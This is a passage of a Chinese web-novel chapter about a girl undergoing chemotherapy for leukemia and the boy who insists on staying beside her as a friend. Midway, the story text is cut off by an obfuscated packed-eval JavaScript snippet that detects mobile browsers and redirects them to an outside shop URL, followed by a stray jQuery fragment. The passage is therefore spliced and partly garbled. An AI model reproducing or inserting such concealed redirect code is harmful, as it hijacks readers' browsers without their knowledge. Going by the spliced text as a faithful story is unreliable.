所有的一切,都和徐知暖预想的不一样。
在她心里,从电话挂断的那一刻起,她和江澈之间,就已经结束了。
直到昨天,门外传来响动,她倾身去看。
安绮霜站在那里,门边还掩着一道侧影。
只一眼,她就认出了是谁。
可她不愿相信。
她明明那么坏,说了那么多难听的话。
为什么……
为什么还要来呢?
为什么不能如她愿?
为什么要看到她这副样子?
化疗期间,可谓是脱胎换骨。
好多次,好多次。
在洗手间的镜子里,徐知暖都不敢看自己,不敢看那个陌生、面目全非的人。
思及此。
情绪被恶劣凿开了一道口子。
眼泪汹涌落下。
浑身都疼。
比化疗、骨穿的时候,还要疼。
江澈站着,看着宽大的病号服下,少女瘦削的肩膀轻轻抖着,脸垂的很低。
他一时有些恍惚。
记忆似乎还停留他们在苏市的时候。
她长发披肩,笑容明媚,皮肤在阳光下白得透光。
而此刻,面前的女孩,穿着病号服,手上埋着留置针,头上戴着绒线帽,肩头空荡荡的,看不见一丝黑发。原本圆圆的脸,瘦得颧骨都凸出,脸色苍黄,了无生机,像一株干花。
他眼睛一下子红了。
徐知暖能感觉到江澈在看自己。
越是这样,她越觉得无措,只想把自己藏起来,或者立刻消失。
她微微朝另一侧偏过脸,声音发颤:“我那天已经说得很清楚了,我们——”
“徐知暖,”江澈打断她,“这就是你把我赶走的原因?不就是生病了吗?那又怎么样?难不成你还真觉得自己快死了?你知不知道,M5白血病的治愈率在40%-60%,你就对自己这么没信心?”
“你瞒着所有人,一个人躲在这里。徐知暖,你知不知道你这样很自私!”
他话音不算重,甚至没什么激烈的情绪。
只是,徐知暖还是越哭越凶。
“还有,你说你不喜欢我,”他喉间一滞,又继续,“我认了,就当是我一厢情愿。”
“这两个月,我也想清楚了,单恋这种事儿,的确不太适合我。所以,现在,我对你,也没什么特殊的感情了。”
又一滴泪从徐知暖眼角滑落。
她抬脸,对上了少年淡漠而通红的双眼。
“我们只是朋友。”江澈看着她,一字字说:“朋友生病了,我来探望一下,合情合理。你没理由赶我走。”
……
徐知暖心里是不愿意的,想让他走。
可不管她说什么,江澈总有千百种理由留下来。
身体本就虚弱。
她实在没什么力气跟他吵了。
反正也被发现了。
况且,看他这副油盐不进的模样,大概她说再多,他也不会听的。
安绮霜买完水果回来,看到江澈还在,也愣了愣。
但很快,她就明白过来。
如果江澈能一直待在这儿,那一定是徐知暖默许的。
私心告诉她,如果昨天江澈没有自己找来。
或许,她也会想办法联系他。
不为别的。
只想有个人,能让暖暖高兴一点儿。
……
中午,徐知暖太困,撑不住睡了过去。
睡着前,她迷迷糊糊地对江澈说,反正他也知道她在哪儿了,待着也是无聊,不如回去。
他没回话,她也没力气再说。
再醒来时,已是日落时分。
睁开眼,屋内一片昏暗,窗帘不知什么时候被拉上了,只从边缘漏进一线暖金色的余晖。
因为化疗的缘故,每次醒来头都晕得厉害。
缓了好一会儿,才看清窗边坐着个人。
不用猜也知道是谁。
嘴巴很干,她舔了下唇,声音虚哑地开口:“你怎么还在这儿?”
听到声音,江澈转眸看向她:“反正也闲着。”
注意到她似乎想坐起来,他起身走到床尾,握着病床的摇柄,慢慢将床头升高,直到她找到一个相对舒适的角度才停下。
然后,继续坐回陪护椅。
徐知暖靠在床上,看了他一眼,忍不住问:“你明天不是还要上学吗?”
“我已经不去学校了?”
她一愣:“什么?”
“你放心,”江澈冷淡道,“不是为了你。”
“……”
徐知暖低下头,“我知道。”
“我报了校外的艺考集训班,所以暂时不用去学校了。”江澈解释了一句,算是交代。
确实。
仔细算算,十二月就要统考了,只剩下两个月。
“那你也先回去吧。”徐知暖说,“反正,我妈妈待会儿就来了。”
江澈看了眼时间,六点半了。
确实不早了,想到待会儿还有事,他起身,把椅子推回原位,然后看她:“既然是朋友了,微信、信息、电话,可以回了吧?”
犹豫一秒,徐知暖点头。
得到答案。
江澈没再多说,往门口走去。
就在他快要拉开门时,徐知暖忽然叫住他:
“江澈。”
少年停步,回过头,走廊的光从他身后漫进来,勾勒出一道模糊的轮廓。
“怎么?”他略带玩笑,“舍不得我?”
“……”
徐知暖敛回视线,随便找了个地方盯着,说,“你之后不用再来了。医院环境不好,而且我也没什么事。你在那边好好准备艺考。”
气氛静了一秒。
江澈还站在门口,他攥了攥手,沉声:“又在替我做决定?”
“我……”她抬头。
“徐知暖,来不来是我的事,和你无关。还有——”他神情语气都很凝重,
“我是不喜欢你了,但你,仍然是我很重要的朋友。”
-
离开医院,江澈心里很空,周身好似还裹着医院里的气息。
两个月,他找了她很多很多次,每一次都落了空。
知道她去了沪市,他也就去了。
没什么别的想法,就是觉得,万一呢。
只是,没料到。
他们的再遇,是如此的荒唐、残忍。
一路走到何润凯家,他敲了敲门。
里面传来脚步声,门很快开了。
见到是他,何润凯很意外:“阿澈?你不是去集训了吗?”
“我有点事儿,请假了。”江澈声音幽微,带着倦意,“何叔,有空吗?我想跟您聊聊。”
“好,快进来。”
……
坐下后,何润凯看出他情绪不对,也没兜圈子:“怎么了,突然跑过来?”
默然片刻,江澈出声:“我想问问,M5白血病,好治吗?”
“怎么突然问这个?”
“我有个朋友……确诊了。所以想来问问您。”
何润凯斟酌着措辞,慢慢说:“M5不算最常见的类型,说好不好,说坏也不算最坏的那一种。如果化疗期间指标能稳住,后续可以考虑骨髓移植。只不过这个过程……”
他没再说下去。
窗外夜色沉浓,屋里没开大灯,只有茶几上一盏壁灯晕开暖黄的光,笼在江澈身上。他低着眼,黑睫在眼下拓出一片微颤的影。
“会很难,是吗?”他问。
“也得因人而异吧。”何润凯最终这么说,“有人反应轻,有人,连骨髓抑制期都熬得很辛苦。而且移植本身就像闯鬼门关,预处理、排异、感染……每一关都不容易。”
每一关都不容易。
在病魔面前,江澈不知道自己能做什么。
这个东西,他控制不了,替她承受不了,连“分担”这两个字,说出来都觉得苍白虚伪。
人有时候就像这世上一粒微尘,能被风轻易扬起,却也可能在某一刻,就被大雨冲刷,消失无痕。
-
那之后的几天,江澈把沪市的集训课取消了,重新在星海本地报了一家画室。白天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616963|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上课,剩下的时间基本都待在医院里。
巩固治疗期间,徐知暖状态依旧很差,吃不下什么东西,偶尔还会吐。但为了不让江澈和安绮霜担心,便一直装成还行的样子。
周末。
冷空气虽然来过,阳光却出奇地好。
徐知暖忽然想出去走走。
江澈没反对,问了护士,确认她可以短暂活动,去找主治医生签了外出单。
身体还虚,徐知暖多穿了一件外套。
正要开门,江澈在身后叫住她:
“等一下。”
她回头:“怎么了?”
江澈走了过来,手里拿着之前他送给自己的元旦礼物。
帽子、围巾,还有手套。
徐知暖弯唇:“也不用穿这么多吧?会热的。”
“外面风大。”他仔细地替她戴好一切,才放心地带她出门。
……
住院这么久,她还是第一次出来。
市二院有一个很美的花坛。
种着很多格桑花和百日菊,微风一吹,花盘轻轻摇曳,像一匹从天上裁下来的晚霞,鲜活,灿烂。
两人在旁边的木椅坐下。
看到这样蓬勃热烈的色彩,徐知暖心情也很好,她微微偏眸,却看见江澈脸上截然不同的神情。
他微微蹙着眉,神色不算凝重,但也不轻松。
从知道自己生病那天起,他就常常是这个样子。
徐知暖慢慢抬起手,指腹轻轻碰上少年的眉宇。
她手很凉,触到他皮肤下隐约跳动的脉络,细密的电流划过江澈眉间。他怔了怔,看她:“怎么了?”
“这话应该我问你吧?”徐知暖说,“干嘛总皱着眉?”
“有吗?”他自己都没察觉到。
徐知暖缓缓地、有些不舍地收回手,重新看向眼前的花。
医院里总归是嘈杂的,有小孩在哭,有家属在打电话,可她心里却从没像此刻这样静谧过。
忽然间,有很多话想说给他听。
“江澈,想不想听一个故事。”
“嗯。”只要是她说的,他都想听。
“从前有只小猫咪,在路上遇见一只淋雨的小狗。她不忍心,好心在周围找了一片很大的叶子,想给小狗挡雨。可那只小狗一点都不领情。”
知道她在说什么,江澈笑了一下:“那它挺不识抬举的。”
“是吧。”徐知暖也跟着笑,“当时啊,她觉得那只小狗真冷漠,一点都不可爱。后来她才慢慢明白,小狗也有自己的难处。而且她发现,那只小狗其实特别好。知道她不开心,会想办法逗她笑,会带她到处玩。所以小猫越来越喜欢小狗。他们之间,有了一个又一个的约定。”
她脸上的笑意渐渐落了下去,眼睛被风吹得有些发酸,泛起浅红。
“可是有一天,小猫生病了。她对小狗说了很多难听的话,把小狗从身边推开了。”她侧过脸,对上江澈的目光,轻轻一眨,眼泪便滚落。
“你说,那只小猫是不是很坏?”
看着她眼里摇摇欲坠的光,有密密麻麻的针戳在江澈心口。
他吸了口气,启唇,声音很轻:“不坏。”
“为什么?”
“因为小猫不知道自己能不能好起来。”他抬手,慢慢拂去她脸上的眼泪,指腹停在她眼角,“她只是太害怕了。怕小狗看见她生病的样子,怕小狗为她难过。她想让小狗过得轻松一点。她没错。只是她不知道,对于小狗来说,有她陪着,才是最重要的。”
他看着她,认认真真地说完这些话。
“所以小猫一点都不坏。”
“而且,我相信,小狗从没真正怪过她。”
如果一定要怪一个人。
江澈想,那只能怪小狗自己,怪他让小猫一个人独自承担了那么多忧虑和恐惧,怪他没能更早发现,怪他没有在小猫最需要的时候,第一时间陪在她身边。
江澈知道自己做不了什么惊天动地的大事。
他治不好她的病,也替她承受不了那些痛苦。那就只能,陪着她,尽可能让她开心一点,哪怕只是多笑一次,也是好的。